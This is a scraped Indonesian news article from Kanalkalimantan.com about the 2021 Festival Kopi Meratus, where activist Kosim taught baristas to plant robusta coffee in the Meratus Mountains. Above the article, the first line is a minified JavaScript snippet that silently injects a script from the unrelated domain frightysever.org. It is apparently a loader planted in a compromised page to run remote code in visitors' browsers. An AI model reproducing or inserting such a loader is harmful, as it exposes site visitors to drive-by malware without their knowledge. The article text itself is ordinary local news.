(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BARABAI – Kemeriahan Festival Kopi Meratus 2021 digelar para Barista Barabai, di Desa Hinas Kiri, Kecamatan Batang Alai Timur, Kabupaten Hulu Sungai Tengah (HST) pada tanggal 25-26 September 2021, mengungkap banyak hal.
Di antaranya, peserta langsung berkenalan dengan salah seorang penanam bibit kopi robusta di Pegunungan Meratus, Kosim, yang sekaligus penerima penghargaan Anugerah Puspawana dari Kesultanan Banjar sebagai Penjaga Pegunungan Meratus.
Dalam kegiatan yang diikuti 18 peserta yang terdiri dari Barista dan pecinta Kopi di Kalimantan Selatan, bahkan dari Kalimantan Tengah.
Baca juga: Eks Pasar Bauntung Jadi “TPS”, Penuh Kantong Plastik Sampah, Bangkai Hewan Pun Ada
Dalam Festival ini, Kosim juga mengajari peserta cara menanam bibit kopi, pemupukan hingga perawatan bibit tanaman kopi yang benar.
“Dalam penanaman bisa membuat lobang ukuran 40×40 cm didiamkan selama 10-15 hari agar vitamin E bisa masuk. Apabila dalam lahan itu kekurangan zat kapur maka bisa dimasukkan kapur sebagai pelengkap, kalau ditempat ini (Pegunungan Meratus, HST) masih perawan jadi tidak membutuhkan kapur,” jelas Kosim.
Kosim merupakan salah seorang aktivis lingkungan yang berupaya menentang ekspansi pertambangan dan perkebunan kelapa sawit di Pegunungan Meratus terkhusus di Wilayah Kabupaten HST.
Sementara itu Ketua pelaksana Festival Kopi Meratus 2021 , Friddy Ash Shiddiqie mengatakan antusiasme para barista yang bahkan dari luar Kalsel membuatnya kaget, hal itu menandakan saat ini banyak dan sangat berkembang kecintaan terhadap kopi Kalsel
“Sangat kaget. Peserta pun ada yang barista dan non barista. Antusias masyarakat juga tinggi mengingat kita melaksanakan penanaman kebun kopi kembali,” kata pria yang biasaa disapa Friddy itu.
Baca juga: Satwa Kerang Kepah Asli Sungai Santan Diklaim Punah, Karena Tambang Batu Bara?
Melihat potensi kopi yang begitu banyak peminat. Kedepannya dia berharap kegiatan ini terus terlaksana dan berkelanjutan yang dikemas lebih menarik lagi.
“Nantinya akan kami kemas lebih kompleks lagi. Dan mungkin akan kami adakan battle brew dikawasan pegunungan. Mungkin itu nantinya,” tutupnya.
Salah seorang peserta, Indah Fitria mengungkapkan kekagumannya ketika melihat langsung proses penanaman bibit kopir robusta di Pegunungan Meratus.
“Sesuai temanya Festival Kopi, Seperti menanam kopi, jenis kopi dan pengenalan lebih jauh tentang kopi robusta,” ungkat Indah yang juga barista disalah satu kedai kopi di Banjarbaru ini.
Kedepan Kopi yang ditanam di Pegunungan Meratus khususnya di Bumi Murakata akan terus dipromosikan ke khalayak ramai agar bisa bersaing di dunia perkopian Kalimantan Selatan terkhusus di Kabupaten Hulu Sungai Tengah. (Kanalkalimantan.com/ibnu)
Reporter: ibnu
Editor: cell
KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More
KANALKALIMANTAN.COM, JAKARTA - Tim penyidik Komisi Pemberantasan Korupsi (KPK) menjadwalkan pemanggilan terhadap mantan Gubernur Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP singgah ke… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru melalui Dinas Lingkungan Hidup (DLH) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pengunduran diri Sahbirin Noor atau Paman Birin dari jabatan Gubernur Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More
This website uses cookies.